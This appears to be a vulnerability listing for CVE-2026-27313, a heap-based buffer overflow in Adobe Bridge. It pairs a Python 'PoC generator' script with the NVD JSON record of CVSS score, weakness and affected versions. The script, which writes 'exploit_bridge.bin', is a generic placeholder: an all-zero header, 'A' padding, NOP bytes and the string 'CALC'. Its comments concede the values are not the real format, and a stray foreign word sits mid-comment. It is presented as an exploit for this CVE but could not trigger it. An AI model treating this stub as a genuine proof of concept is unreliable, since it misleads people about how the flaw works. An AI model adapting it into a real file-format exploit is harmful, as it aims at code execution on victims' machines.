CVE-2026-27313

import struct # Generic PoC generator for Heap Overflow # This script creates a malformed file structure designed to trigger a buffer overflow # in vulnerable versions of Adobe Bridge. def generate_malicious_file(filename): # Header simulation (Specific hex values depend on the actual file format parsed by Bridge) header = b'\x00\x00\x00\x00\x00\x00\x00\x00' # Padding to reach the buffer boundary padding = b'A' * 1024 # Overwrite part (Return address or function pointer) # In a real exploit, this would point to the payload (ROP chain or Shellcode) overwrite = b'\x90\x90\x90\x90' # Payload模拟 (e.g., NOP sled + Shellcode) payload = b'\x90' * 100 + b'CALC' with open(filename, 'wb') as f: f.write(header + padding + overwrite + payload) if __name__ == "__main__": print("Generating malicious file...") generate_malicious_file("exploit_bridge.bin") print("File 'exploit_bridge.bin' created. Do not open in production.")

{"cve": {"id": "CVE-2026-27313", "sourceIdentifier": "[email protected]", "published": "2026-04-14T20:16:34.883", "lastModified": "2026-04-15T19:59:05.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 16.0.2, 15.1.4 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.5", "matchCriteriaId": "8B4FBE0D-49AE-47B0-9A02-CF772B606C89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0", "versionEndExcluding": "16.0.3", "matchCriteriaId": "AA94FD4C-CD52-43BC-9DD6-C688A783A5F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb26-39.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}